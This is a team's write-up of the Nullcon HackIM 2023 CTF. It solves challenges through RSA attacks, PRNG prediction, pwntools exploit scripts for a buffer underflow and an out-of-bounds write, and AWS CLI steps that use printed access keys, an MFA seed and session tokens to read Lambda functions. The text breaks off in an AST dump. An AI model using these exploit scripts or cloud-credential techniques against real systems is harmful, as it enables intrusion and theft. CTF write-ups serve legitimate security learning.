Nullcon Berlin HackIM 2023 CTF

March 10, 2023

We got 1st place at Nullcon HackIM CTF! I had an awesome time in Berlin at the conference :) Looking forward to more on-site CTFs this year.

megavault

Description

This challenge's flag is sealed in a high-security flag vault protected by an atmega32u4 micro-controller.

The only way to unlock it is to enter the correct pin '13371337' into the physical access-control panel at the conference. There's just one problem.. the button for entering the '3' digit recently broke!

Surely a talented hacker such as yourself can find another way in.

To help you out a little, I even managed to get my hands on the source code from the manufacturer.

We're given the source code running on the micro-controller. It's a pretty simple code safe implementation, but it has a bug that we used in order to overwrite the pin:

// we can use the left arrow to underflow inputpos as the boundaries are not checked
case FUNC_LEFT:
inputpos--;
lcd_refresh();
break;

...

// this is the memory structure, pin gets initialized with 13371337 at setup
char pin[9] = { 0 };

char linebuf[256] = { 0 };

int16_t inputpos = 0;
// our input goes into inputbuf
char inputbuf[17] = { 0 };

...

// the del key will null the byte at address inputbuf+inputpos, without boundary checking
case FUNC_DEL:
inputbuf[inputpos] = 0;
lcd_refresh();

The solution is to use the left arrow to set inputpos to -267 (this is how far away pin is from inputbuf) in order to null all the pin bytes using the DEL key. Then we can press Enter and we will get the flag.

Flag

ENO{S4f3_Cr4cKd}

Lockpick 1

Description

onsite at the lockpicking station

Challenge: pick this lock

After raking:

Flag

ENO{fr1end5hip_1s_the_K3y}

twin

Description

The twins Alice and Bob are so close that they share everything, even the modulus of their RSA keys.

Classic common modulus RSA attack, except that gcd(e1, e2) = 17. The trick is to divide both of them by 17 and then take the 17th root of the message in order to get the flag (this is because the value is not padded, and flag^17 is not enough to wrap around N)

N = 0x00a3411d2588b8156f9c6cc4130a1792f2e616dae1067d3167c847df08259b246f73bc2f3fca28aec87fc9574764a0646d4f7d267c00f589ec975ee169c358d1a18f70f4d76876e48c971ce7649291f823e28fb442f95d9994df5db9fa7e0e6a36d4bae404d4580bc07e8673c76e8de17d010259f80c8cf914cf65a4b572d21c506ea1ad2ed171f8949751cd8487c4d0ca839410d8c6b5835325dfa1a6f293204736e8b783fa64c633bb413f5081243918ea74c055b32ac2f54a55eed6bd9fc2769911ca10ebda049360bbffd979c4751e9509af05762b284b4e5b54b7e5847cef640ddbbfb111ca8486e0a666c439419179be433e7176531748f1e3c5d7ed8bb4bf819ecc5dfe428399c3c9acca2df43c735c71388232e28e8197ad2f1c29fc8b862fc53751d36fb1c98bd8c762423182840b69687f751685ed46944a22ab3209a914099e54be5c40e4b5e306b4e887db2e2e12d2ca2794e33486621ebd6ec792b2d0bfb3b2acfc69042752534deacf6b7811515ade872b69ce4b8acb7f5c3198394b8003aeb88ae1417d9bb3716b1e2b1667c28ba80bbbd987c3764cbd036878f33285867ae1502701f83ad2b441555674faa0b32a6679e9b8e423d19103049f3fae1f2bc8796a864e15dcd418f3d03b72ac8c6a0f681d0c6e38fde8bf74454613e8f51ffd2ede20f1b37d8c9224b09b444b29b7105d3a552b869a5259e75189

e1 = 0x23fcabcdd90ab26d23c8650fa966ba1baf0102080415d65829e437049d087a3adf7ba5e757c07d8a589e2153388b6817f84c53217f389c9c170c35f17c6f094c4974441936c5365475f6cf8c9428c055b367cda662af98c360fcf98c789eb8783b8ba50e9712a8d4019647158dd85194856ed9c911265c1423b0581130ade1a9181f1f53a854e544a87fd7e86782eeb0597609b3cf7e38ec9988ae08380ff2fdd86fe6e30579cf344baf47a31e76c357a58192553b0332f762bf9c1c672118356a7c9643e17525de51590ccd38067a899a982876187bfe7edd6a427974807c7c3daea1df6bf98f35f2a7be7e98ecd67e924bb20b4d36574f56499c3b44a5ed51ddcc26bfd6d94b10e86563f85e73d4c71990a0447471ec2147e4fa9a4c75f780fe8e611a70342bb7b3690fe380269b4205dfe4b70dbbce59a9e3eba5b94ce264336941fec565380c6613fd9136a23b941cfb17ecd52b7ca3a3d49c4dc227cb00b9795b7cb2c2b68b7388a152ceee147313e1231d8160d5740a76e47aa9804b4313cfc1ab610938d92de37881bcdfd4ac29b3a357f6a63c3297553b0e66722a66355c06d619d959bbf88a90bc0b2d66202b1e5dcb8987aa1f4f0e8a08ad3540738c5e32516a833cf17dd2634e7da4b38220571c8256050f3c0f7bba7eb379aab82ec2383d5009f714b2b8469e7bfd995d9fc2f8480a7418430318574372d7cd65
e2 = 0x69624cce3d4838f74b1700883c8c0c2722d04b823d80c64e60dc17049462ba2f756e4141f20b759955bc486a3f82b20fe84ac89354cf61ef3e2904b2ac7e5fcd2fca3b7539b35bc959784bfd24daa5f576ccf4f4f4a57cb40dfe9b8008f09494397f4c8dde984a1e89a6d964c3f7d4621095d37769fe940ee9d5bed15c6294f9dad538a5c9b57ed33963a8a9c245d025ab910eb22da6486b81dc3830b6f1382ffeeb9cec17b61480c38fc228187762825a54539e0697ba93e296191c7b91aae43f9c6caf57eb52058cae073e6a30fb73ef25da5dfb6bea1f7a1f07a8e12798278edd93e5ec42f25ecee041025a37bb1e90649947429c52abdc5f4b325ce06b2e4a92c51db1d12dba8d74ebc2d77474dc95e26216b22d847b27e76a8184ee15e13216c7e3626f33b388e3f996ec929de9fe74c7d1f03ca8adf710949800c419ff92da1407b3daea17f19ff8675e9dde8e1e5427e91d27e65df5f2ec204d434c1ef1334e1235e2c6c8100f5a2950957e2a1943aae40b214c4fd5be8e95e1adfe6e84d3c3655b878e1b628fd35ca4a8cf8300b2c094b01ac19486ad71d9e4b531fb7544de00a0881bcefc9688577d05fa2d34e256860020e884695e14bb549acec713e71579e3c67bc1fba69e133716cd8cf766376350be514fa036806c03dbccbeb3a9ec1738ce8cb7f67181b49b1e6c63960b4ce4988006bef987f10eba444797

e1, e2 = e1 // 17, e2 // 17

import libnum

def attack(c1, c2, e1, e2, N):
if libnum.gcd(e1, e2) != 1:
print ("Exponents e1 and e2 cannot be coprime")
return 1
x,y,_=libnum.xgcd(e1,e2)
val = (pow(c1,x,N) * pow(c2,y,N)) % N
return (val)

c1 = 198851474377165718028112972842265639215206348877016608622627311171042209963702835769614338398847455363946863082762173236373502223802847244557769309152020719377009343678096323767255545133734392981272835212545353488715110156427711111525743585480758640009319505322315888005188276904901023280620051538053743929669167795850860335549768969166461593906239357372330505433946129717041834475732372670961026001478227254999273718196250867204510681064391880099449164629711720021122445665846890550815079811041241824128791656795460007230003283109669795738520458565694688073372232365469969279979269172335621053156518588065204669164636568515585968088715299221616098448196835007486026306834585857385394379932580809203103023106229424720660096661585932612179471986633721231396764156601845262479014417201866703796806022479395694033815788446795158605478744234679438921219482709321859861288988156224563399413134218092016216147313958327131507901433719054874275160651556856183380492151746510052730242685874618761355215984376265719715473363476986957901445315504092719499838417381325617015369293491930133307630128865051357500960150518954750856507501366553062420719464692404538472137892443679198526541754483324903275970820090884602410278644781399298682978387326
c2 = 541940109836125333895781430104885967485013462238357425709353944075428304212181613346342168833632915771850317706081582413750750719712828061669251836467513116815496399077435572514863813419820177695716122433176805528532535188403726732767914692088563121640407878586264559446821905465347721083017105647280563402969518765808190495949892463753148040234604183497869168213134441134251591933907135463336654029223065998877557269475470179804195639035481928376550039377473960558788269310431313825888988908660191302311385846641723702093086996138971258640836061285893970041520552244977929645483977290602241276584136088984907441193129409236710662584843118801800457934169438121910252362434716190064236551302755562358860534549136237814085075287652312464795604230258140807652348468032431267225399615168922885291236301151723996369977845223020976025668767146139688511344868583917521559162297134719274102553947904603784500638033579530233721139319885875767560434666844423652986065991855466499543496592686627509183766091917402747468665062914322631033890742828511915046161646985793301031872822709060588586773552581644418553383314263000798086024158809854568189418235663070035600457464233007552461215491869285368208456103672933515573777187729174614608959934215

finalResult = attack(c1, c2, e1, e2, N)
print(finalResult)

# this is flag^17

# 62384804365241124913345599804074900230680347598765949843911335418987665629071034394309181052139829956378723094438102981708241943396657735577020277518921749632215577531323254959078607994829556797896389096579412251392510143374428289425394717931652600993090619402639252922792405724496119893157157818815710705136641210381320963344445034248260353538078891693266515481257380370365691775951261049477989793142119948724106842785870834723337017137948608118246363236896618387075246504211644178742330800431344396723067042578692377480364017235289358988920340770723173579981898869166663077786956704511079494266163664824871598731514076314650713978534659735267333140898654941791729857840026184962056035574173446305646777941424051746016049690896388825607719150441745437039344753912625726305785256909867360189350903864540110600498913910051842568969655282218194552894037948749786004119698990272668631543911702410140409096801403105309875489434130851328161267288600084172990074924537497734276576797679997335247858506253446969251212663865822627576103411355237302851104736328125

# factordb will give us our answer: http://factordb.com/index.php?query=62384804365241124913345599804074900230680347598765949843911335418987665629071034394309181052139829956378723094438102981708241943396657735577020277518921749632215577531323254959078607994829556797896389096579412251392510143374428289425394717931652600993090619402639252922792405724496119893157157818815710705136641210381320963344445034248260353538078891693266515481257380370365691775951261049477989793142119948724106842785870834723337017137948608118246363236896618387075246504211644178742330800431344396723067042578692377480364017235289358988920340770723173579981898869166663077786956704511079494266163664824871598731514076314650713978534659735267333140898654941791729857840026184962056035574173446305646777941424051746016049690896388825607719150441745437039344753912625726305785256909867360189350903864540110600498913910051842568969655282218194552894037948749786004119698990272668631543911702410140409096801403105309875489434130851328161267288600084172990074924537497734276576797679997335247858506253446969251212663865822627576103411355237302851104736328125

# 111370287864635821706296037246499291051391219732330206848771965

Flag

ENO{5har1ng_is_n0t_c4r1ng}

bmpass

Description

My brother thinks he's some kind of genius and stores his passwords in image files before encrypting them for "extra security". Its been getting on my nerves lately.

Please prove him wrong.
import struct
import collections
import math

with open ('flag.bmp.enc' , 'rb' ) as f:
data= f.read()

WIDTH = 1280
HEIGHT = math.floor((len(data) - 54) / (WIDTH * 3))

FILE_SIZE = struct.pack('I' , len(data) - 16)
HEADER_SIZE = struct.pack('I' , 54)

def chunks(xs, n):
n = max(1, n)
return (xs[i:i+n] for i in range(0, len(xs), n))


pattern = chunks(data, 8)
counter = collections.Counter(pattern)

for val, nmr in counter.most_common(100):
data = data.replace(val, b"\xff" * len(val))

fname = 'flag.bmp'
flag = b'BM' + FILE_SIZE + b'\x00\x00\x00\x00' + HEADER_SIZE + b'\x28\x00\x00\x00'
flag += struct.pack('I' , WIDTH)
flag += struct.pack('I' , HEIGHT)
flag += b'\x01\x00\x18\x00\x00\x00\x00\x00'
flag += struct.pack('I', WIDTH * HEIGHT * 3)
flag += b'\x00\x00\x00\x00' * 4
flag += data[54:]
with open (fname, 'wb' ) as f:
f.write(flag)

After playing a bit with stegsolve and Photoshop:

Flag

ENO{I_c4N_s33_tHr0ugH_3ncrYpt10n}

breaking news

Description

Alice started to encrypt the flag, but realised halfway she was unhappy with her key. So she created a new one.

We're given two RSA keys with the same value of n, but different values for e, this leads us towards boneh durfee, which works for the first value of e and gives us d=3142948387612230061712223313218058768177264054157930977501720905159512174225, we can then calculate p, q by just solving the quadratic:

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import math

key1 = RSA.import_key(open('key1.pem','rb').read())
d = 3142948387612230061712223313218058768177264054157930977501720905159512174225
e = key1.e
n = key1.n
kPhi = e * d - 1

# Neat way to divceil
k = -(kPhi // -key1.n)

# solve quadratic
pq = (k * n - d * e + k + 1) // k
p_q = math.isqrt((pq) ** 2 - 4*n)

q2 = pq - p_q
q = q2 // 2

p = n // q

key1 = RSA.import_key(open('key1.pem','rb').read())
key2 = RSA.import_key(open('key2.pem','rb').read())

key1d = pow(key1.e, -1, (p-1) * (q-1))
key2d = pow(key2.e, -1, (p-1) * (q-1))


key1 = RSA.construct((key1.n, key1.e, key1d, p, q))
key2 = RSA.construct((key2.n, key2.e, key2d, p, q))

ct1 = bytes.fromhex("3b6ccd7fa1de0455945998bc024adc6c2b60ccc8f020cbf024c3d4f98eafdf6a43afd15ec4d9a32f84cb61f7a5462547f2e3622b547c3e9ccb723102805544b373a80f4d252a1081db6d5c5499b222093fd4bb7997c68ab0ed8a9ac3bd0dae64cdfb946da1e311ef6e216ddf2dac14ea3710d5622269f08073598c24a3000a6dd6270ca0db5c304102bc9a5cd104484a2c0ced339121f13499c795de343ad2e655d4ace726654ee9f110e4bee3db95d8e514bd6e658769a01638ff2e9ce954dc09def3b01f6d598ddae2ca9735c8e8f9b71c96984a114084fb0a25b3646481e8c8d4d8adfedc7afad7be7a009c6d12753db4216ab9fd7fc8c37c819aef6a8bce")

ct2 = bytes.fromhex("998d5eeb0c048ade8cd807cb582b15a7799e8481a7476dbe8e0310b5ffc5161add92539bc0a374333c11f5f2008195782a44e45f2394fe3115af59fbc73ad24c4d084d79ba8e5896b644917335fd9a0e07c1d1d316e50480ba44c67b6fc04a2ce33dbc721768f1f874ff2ce1ec0503a4a7c67d10119ff9f79030459068de24ff24593e16877fd74c5a12d0e64a3d62e61b13c403aad2fe605601e8a097aba99707e305e3125a3c89f3d6beccc2f19a32fdac9ab7df181938b9b80d83a54c9c23ef11affff0fca67ecd9d45c58ece90a44ecd60aff7be05bf97cb554c563a3f9139d99f7c76a07acaaa261b1d6cb41e228fb2aca02ed1c64d468aabb8cfaa9210")

cryptor = PKCS1_OAEP.new(key1)
flag = cryptor.decrypt(ct1)
cryptor = PKCS1_OAEP.new(key2)
flag += cryptor.decrypt(ct2)
print(flag)

Flag

ENO{n3ver_reus3_your_pr1mes_4_a_new_k3y_you_have_2_p4y_th3_pr1ce}

collector

Description

Bob is hosting a party and invited everyone but me. But all the invitations I can collect are encrypted.

52.59.124.14:10005

We can collect three (N_i, c_i) pairs when e = 3. Using CRT, we can calculate c such that c = c_i % N_i. Then m = c^(1/3). After recovering m, we can easily recover flag.

msg = long_to_bytes(int(crt([enc1, enc2, enc3], [n1, n2, n3]) ** (1/3)))
maskedDB = msg[-223:]
masked_seed = msg[:-223]
seedmask = MGF(bytes_to_long(bytes(maskedDB)), hLen // 8)
seed = [masked_seed[i] ^^ seedmask[i] for i in range(hLen // 8)]
mask = MGF(bytes(seed), 223)
DB = [maskedDB[i] ^^ mask[i] for i in range(223)]

Flag

ENO{com3_to_Nu1lCon_bu1_do_n0t_tel1_B0b}

noble collector

Description

Bo is hosting another party but this event seems even fancier. He is addressing all of his guests personally, but still encrypts all invitations.

52.59.124.14:10006

We can collect three (N_i, c_i, a_i) pairs, when e = 3, such that (a_i * 256^L + m)^e = c_i % N_i, where L is a length of invitation. This m can be recovered by Håstad's broadcast attack.

Flag

ENO{c0pp3rsmith_1s_4_shtronk_t00l}

Read the Rules

Description

Hmmm After reading the rules, I should know a flag.

4/5 attempts

Go to page /rules and get the example flag.

Flag

ENO{th1s_is_4n_eXample}

babyrand

Description

Look at how many hints I'm giving you… How hard can it be? :^)

nc 52.59.124.14 10011

In python, rand.getrandbits() is not cryptographically secure. That's why, in the presence of a leak, we are able to predict upcomming bits.


import random
import os
from pwn import *
from mt19937predictor import MT19937Predictor

if __name__ == "__main__":

p = remote('52.59.124.14', 10011)
predictor = MT19937Predictor()

for i in range(100):
p.recvuntil(b'Hints:')
leak = p.recvuntil(b'Guess:').replace(b'Guess:',b'').split()
print(leak)

leaks = []
for i in leak:
leaks.append(int(i, 10))

print(leaks)

for num in leaks:
predictor.setrandbits(num, 32)

result = predictor.getrandbits(32)

p.sendline(str(result).encode('utf-8'))

print(p.recv())
print(p.recv())

Flag

ENO{U_Gr4du4t3d_R4nd_4c4d3mY!}

randrevenge

Description

WARNING: only psychics and wizards will be able complete this one

sorry :/

52.59.124.14:10012

Our initial solution was to abuse the fact that the server just sends the actual next random value and doesn't invalidate it, so we can just observe it and resend it:

let response = await fetch("http://52.59.124.14:10012/submit", {body:"next=asdada", method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}})
let string = await response.text();

response = await fetch("http://52.59.124.14:10012/submit", {body:"next="+string.split(" ")[0], method:"POST", headers:{"Content-Type":"application/x-www-form-urlencoded"}})
await response.text()

Flag

ENO{M4sT3r_0f_R4nd0n0m1c5}

randrevengerevenge

Description

become a TRUE master of randonomics

52.59.124.14:10019

We are given a php random number generator, luckily there already exists a cracker for it here.

import requests
import subprocess
import re

def tryPHP(seed):
output = subprocess.check_output(["php", "./index2.php", seed]).decode()
return output.split(".")

r = requests.Session()

data = r.get("http://52.59.124.14:10012/").text

ints = re.findall(r"\d+", data)

print(ints)

output = subprocess.check_output(["./php_mt_seed", ints[1]]).decode()
for item in re.findall(r"seed = 0x[a-f0-9]+ = (\d+)", output):
items = tryPHP(item)
for toCheck in ints[1:]:
if toCheck not in items:
break
else:
result = r.post("http://52.59.124.14:10012/submit",data={"next": items[-1]})
print(result.text)

print(output)

index2.php:

#!/usr/bin/php
<?php

srand(intval($argv[1]));

echo strval(rand()) . ".";
for ($i = 0; $i < 300; $i++) {
echo strval(rand()) . ".";
}

echo strval(rand());

Flag

ENO{PHD_1N_TrU3_R4nd0n0m1c5_516189}

the sound of the flags

Description

Forget about all the technical details and just listen to this flag.

This is what we see after opening the sound file in Audacity:

I immediately thought of Morse code, and my intuition was correct. Each peak is a Morse character, and inside each peak there are different sounds with different lengths, marking . and -

The above image decodes to CAPITALE:

The rest of the flag was extracted manually, also listening to the audio file was very useful when the spectrogram was not very clear.

Flag

ENO{th3rythm1swh4tc0unts}

spygame

Description

I made a fun and simple game! Find the two numbers in the given list that are swapped fast enough and I'll reward you with a flag :)

Im kind of n00b when it comes to python, so I decided to write most of my game in C. I heard python uses C under the hood all the time.. what could possibly go wrong?

(if your local solution does not work on remote, try adjusting values slightly)

52.59.124.14:10013

In spymodule.c, there is an OOB read/write in the numbers array. This allows for 1-byte arbitrary read/write, using the provided range of values in numbers.

However, I couldn't figure out how to debug the process in gdb, so I fuzzed many values (using 0 as the arbitrary read, since x ^ 0 = x) and managed to find the following important offsets:

  1. total_ok: 264 (LSB)
  2. stack_ptr_A: 271 - 279
  3. stack_ptr_B: 280 - 288
  4. i: 296 (LSB)
  5. total_ns: 304 - 311

stack_ptr_A and stack_ptr_B are related to the 2 structs that are used to calculate the time in nanoseconds. However, I couldn't figure out what exactly it pointed to.

My plan was to make start and end point to the same struct, so difference in ns is always 0. After playing around with the values, I couldn't achieve that, but only managed to get a fixed ns difference (which will always be the time taken for the first response), by swapping 272 and 281. However, this is still good enough to make total_ns &lt; 1000 via integer overflow, since we can now predict the value of total_ns.

1st write: swap 272, 281
You answered incorrectly in 43776 nanoseconds!
...
You answered incorrectly in 43776 nanoseconds!
...
...
...
You answered incorrectly in 43776 nanoseconds!

Next, I want to also make total_ns as large as possible, so that it would nicely overflow to a small value on my last write. This can be done by setting each byte (from the highest byte) to 0xff, until the 3rd lowest byte.

ff  ff  ff  ff  ff  be  ee  ef
|   |   |   |   |   |   |   |
311 310 309 308 307 306 305 304

Since the ns difference usually has around 4-5 digits (hex), I can't set the last 3 bytes to 0xff, if not it will overflow before I'm ready. Instead, I need to calculate the exact value required for 306 to reach 0xff by the time I finish all my writes. 305 should reach 0x100 instead of 0xff, to trigger the overflow.

Assuming the ns difference is 0xab00:

  1. ns_diff * 2 = 0x015600
  2. 306 set to 0xff - 0x01 = 0xfe = 254 (because total_ns increments twice after this)
  3. 305 set to 0x100 - 0xab = 0x55 = 85 (because total_ns increments only once after this)

Note that the lowest byte won't need to be written to, since it's always smaller than 1000, and also the value added seems to never touch this byte.

1st write: swap 272 and 281
2nd - 6th write: swap 311 - 307, 255
7th write: swap 306, 254
8th write: swap 305, 85

I need 1 more write to control the total_ok value which is at 264:

1st write: swap 272, 281
2nd - 6th write: swap 311 - 307, 255
7th write: swap 264, 5
8th write: swap 306, 254
9th write: swap 305, 85

Since I need more than 8 writes, I also set i which is at 296 (at write 2, I need 9 more writes including write 2):

1st write: swap 272, 281
2nd write: swap 296, 9
3rd - 7th write: swap 311 - 307, 255
8th write: swap 264, 5
9th write: swap 306, 254
10th write: swap 305, 85

And at the 10th write, total_ns should overflow to a value less than 1000, and i should reach 0, exiting the loop and giving us our flag.

Solve script:

#!/usr/bin/env python3

from pwn import *
import time

def conn():
if args.LOCAL:
p = remote("localhost", 9090)
else:
p = remote("52.59.124.14", 10013)
return p


def main():
p = conn()

# good luck pwning :)

p.sendline(b"hard")
time.sleep(0.1)
p.sendline(b"")

# fix ns to some random value
p.sendline(b"272")
p.sendline(b"281")
p.recvuntil(b"incorrectly in ")
ns = int(p.recvuntil(b" "))

print(ns)

# set i
p.sendline(b"296")
p.sendline(b"9")

# set all digits of total_ns to 0xff (dont set 306)
for i in range(311, 306, -1):
p.sendline(b"255")
p.sendline(str(i).encode())

p.sendline(b"264")
p.sendline(b"5")

# set 306
if len(hex(ns*2)) <= 6:
# there is no change in 306, set to 0xff
p.sendline(b"306")
p.sendline(b"255")
else:
# ns*2 should probably be only 5 digits max
p.sendline(b"306")
p.sendline(str(0xff - int(hex(ns*2)[:4], 16)).encode())

# set 305
# ns should probably only be 4 digits max
p.sendline(b"305")
p.sendline(str(0x100 - int(hex(ns)[:4], 16)).encode())

p.interactive()

if __name__ == "__main__":
main()

Flag

ENO{L00kS_L1k3_Y0u_F0uNd_M3!!}

Rain checks

Description

So many options to make sure everything stays as it is. Let's use them all.

We are given the following credentials:

AKIA22D7J5LEAGT3CKGP
ByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3
E3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV
arn:aws:iam::743296330440:mfa/mfa-exposed-user

And the following policy:

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "lambda:GetLayerVersion",
                "lambda:GetFunction",
                "lambda:GetLayerVersionPolicy"
            ],
            "Resource": "*",
            "Condition": {
                "Bool": {
                    "aws:MultiFactorAuthPresent": "true"
                }
            }
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "lambda:UpdateFunctionCode",
                "lambda:InvokeFunction"
            ],
            "Resource": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
            "Condition": {
                "Bool": {
                    "aws:MultiFactorAuthPresent": "true"
                }
            }
        }
    ]
}

The credentials file contains the: aws_access_key_id, aws_secret_access_key, OTP seed and user ARN.

The first thing that we need to do is use the OTP in order to MFA authenticate, that after setting the aws_access_key_id and aws_secret_access_key in ~/.aws/credentials

aws sts get-session-token --serial-number 'arn:aws:iam::743296330440:mfa/mfa-exposed-user' --token-code 115695

We create a new profile using the result from the last command:

[mfa]
aws_access_key_id = ASIA22D7J5LELORPMT43
aws_secret_access_key = 6ezLsgxgI0sUsVLp9L7Piv7/V+OTj33N8OM2Yaps
aws_session_token = FwoGZXIvYXdzEL3//////////wEaDMQQOLkGF4T3aIigpiKGAXpoPootX4vcnQPyNPFKpnjjWNNKvOXpIjtmk2a+w8Nb5ccNVa7Ya+HAkfbe9D5IRx/+sOxmTYS6jART6M9um1ai+vpa67dtKwfFqeJ9fJc3xug3fOMLLGHMnnitSHvjkcu+fhvO0wtKusBllbArmu1FT0FUZGwh9WAiL2JenjZnptrZ9y35KL3eqKAGMijOa6tgdMNno1goVHiFb9M22aJFDxorj7noeWadn5kVswiU19TCzkmN

Now we can execute Get-Function on the lambda from the given policy:

aws lambda get-function --region eu-central-1 --function-name lambda-confirm-secret --profile mfa

And we get the following response:

{
    "Configuration": {
        "FunctionName": "lambda-confirm-secret",
        "FunctionArn": "arn:aws:lambda:eu-central-1:743296330440:function:lambda-confirm-secret",
        "Runtime": "python3.9",
        "Role": "arn:aws:iam::743296330440:role/role-for-lambda-to-read-secret-flag1",
        "Handler": "lambda_function.lambda_handler",
        "CodeSize": 693,
        "Description": "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets ",
        "Timeout": 3,
        "MemorySize": 128,
        "LastModified": "2023-03-09T10:15:31.000+0000",
        "CodeSha256": "XGBROzVr7sFwZJp0F79dvHfNRc6X2Ag3OTbVx9qldOU=",
        "Version": "$LATEST",
        "TracingConfig": {
            "Mode": "PassThrough"
        },
        "RevisionId": "8e79f5f4-5d22-4cd2-ac78-68ee9e3d983a",
        "State": "Active",
        "LastUpdateStatus": "Successful",
        "PackageType": "Zip",
        "Architectures": [
            "x86_64"
        ],
        "EphemeralStorage": {
            "Size": 512
        },
        "SnapStart": {
            "ApplyOn": "None",
            "OptimizationStatus": "Off"
        }
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-eu-cent-1-tasks.s3.eu-central-1.amazonaws.com/snapshots/743296330440/lambda-confirm-secret-7170c6e6-2458-4c26-ab03-e66b8fce0d13?versionId=soyBu3Egz3QRUS0WAeGl0LPT1T7ezKD8&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKX%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDGV1LWNlbnRyYWwtMSJGMEQCICS347V9%2BXEAa5pz%2BdoBPR5%2FTYdQa2IEiGrhZCu%2ByI3iAiB8FH%2BMGJpuEBfIXwjiXRY6UmpV2zUeDXDF2462eOprGSq7BQheEAMaDDY4MDY4NjU1OTQzNCIMKMLZq2uWj8bt5j25KpgF6AAx3b4wb5um00V1%2BnINkWdA4B1qXZR%2FIsY0OxOVkWvlg2j2Ku%2Fc1OXkle7oVpjjU0HTKW%2FnVlmmZGzfFUzkpjpgKE01MEjLja2NWIklJYIJ5idrKLkiJOxgBlEMhLGbM%2BRRrJeudiBolQFe4u4VBsOAUAjKkJ%2Bgw5PB4R2MqDW1DPASh1R1QwZt1dWNwr34TMInKaDAurcjTZ6AWEvDPl8DtGVzYUn26OagxilfdrUGzjHJitgkG7GrZwRNm8xmIoqSu6IQ4zZest683adyeK1L2AC3%2FTtfAtqb9AyaG41nv8XwKKt%2FUD1ii1WpF5WuXjQ%2FiiztF8TeAXKCr7oa3QXZuE8bMNooqziJvVmyytx8AJgKEmO8iiTJJq%2BFGnMW3jiVrzc95bUxURzvfoO1RZjQIdu0ShmwkIMer844qh%2BxTM%2F0CH2KdgzgO5xxlAkZ9YjZ8jvGJ2Txxqb093F%2FrvtfJxwz9uYfTNCFsoEMqTRtyHUhFwSf1XJp%2BuWOH9%2FhhXDH64JH%2F%2FLhzvk%2FMDObT1GNZDghC007mFVJwUmAk0vvb8h7FMQJzf8OwJTm34T0sygKYmFavLRKWq8LaD9orpjGiVam8PLrr9ahjK0FyOnyCMb6I4A3WcR1CZZ7Vn%2BYUnUu8ov4EVLdgRJq%2FPPg7E6GGN6OhaeQVUAGTBUKFMl%2B6m0W6EfTeDytdFgy%2FoJwCf2utdY9KlWbNarZQcUZPyFFZqMWkHgCWkllQZ8%2BZMtxCb2Rv0aqqtgXNd0i%2FAZBOgYLtf4iEmOhYKisjAMuG6WuNdO0XeYnkyk%2FLGJCjnTNQKQPNHpMCpN66gSmoucWVLo2e%2BFDCjBjVc5rFdbj4cOvCimA1cYyTTKZM1369v%2FxTCv1vUF3JjDso6egBjqyAY744zxDPwiwtsU2loSo85nMH7CSwY%2FcUa4%2BqFhjJhzvnGmpVU4mk%2BdYxD2bpHCm%2FvxAx%2FJVQYobEnvIFTCxOk1FaTSxsMCY0JJeJ9aF5Nalrl%2FRqG%2FMLwmtj1GIY5I%2FbFlEqYrpfnya%2FgYqS%2FJwqYlpOYB0mnfVv%2BAMpiglVKor40gKrf2GBxOo2Yx0%2F5pMyDRDt6NcB3pd8w860dLyVjr5pKsY6IAhnNixbrddshAO02w%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20230309T132522Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAZ47AUUDFASSBGY5K%2F20230309%2Feu-central-1%2Fs3%2Faws4_request&X-Amz-Signature=a3e2b642c710d932e8d1cc6bbd595e52ae8b62cd1f86ee7704d239591cbf71f0"
    }
}

We can get the source code from the s3 bucket, but it's not very useful. Also in theory we should be able to execute the Lambda function given the policy, but we can't. Next step is to read the description very carefully:

lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets

Those are lambda functions as well, by reading the source code of lambda-aws-config-confirm-state-of-secrets we get the flag:

# aws lambda get-function --region eu-central-1 --function-name lambda-aws-config-confirm-state-of-secrets --profile mfa

def correct_secret():
secret_name = "flag1"
region_name = "eu-central-1"

session = boto3.session.Session()
client = session.client(
service_name='secretsmanager',
region_name=region_name
)

response = client.put_secret_value(
SecretId=secret_name,
SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))

Flag

ENO{N0_Ed1t_St1ll_Vuln}

pythopia

Description

Can you find your way through Pythopia? But you need a valid license to enter the city first.

We are given a ast dump of a Python program. I've tried to find a way to convert that back into equivalent Python code, but wasn't able to do so. In the end, I solved it by reversing the ast code:

# check 1, test if key (flag) has length 64
If(
test=UnaryOp(
    op=Not(),
    operand=Compare(
        left=Call(
            func=Name(id='len', ctx=Load()),
            args=[
                Name(id='key', ctx=Load())],
            keywords=[]),
        ops=[
            Eq()],
        comparators=[
            Constant(value=64)])),
body=[
    Raise(
        exc=Call(
            func=Name(id='Exception', ctx=Load()),
            args=[
                Constant(value='Wrong key')],
            keywords=[]))],
            
# check 2, check that the first 16 characters of the flag are ENO{L13333333333

If(
    test=Compare(
        left=Subscript(
            value=Name(id='key', ctx=Load()),
            slice=Constant(value=0),
            ctx=Load()),
        ops=[
            Eq()],
        comparators=[
            Constant(value='E')]),
    body=[
        If(
            test=Compare(
                left=Subscript(
                    value=Name(id='key', ctx=Load()),
                    slice=Constant(value=1),
                    ctx=Load()),
                ops=[
                    Eq()],
                comparators=[
                    Constant(value='N')]),
            body=[
                If(
                    test=Compare(
                        left=Subscript(
                            value=Name(id='key', ctx=Load()),
                            slice=Constant(value=2),
                            ctx=Load()),
                        ops=[
                            Eq()],
                        comparators=[
                            Constant(value='O')]),
... etc

# check 3, checks that key[16:32] is equal to this array xor'ed with 19

elts=[
    Constant(value=36),
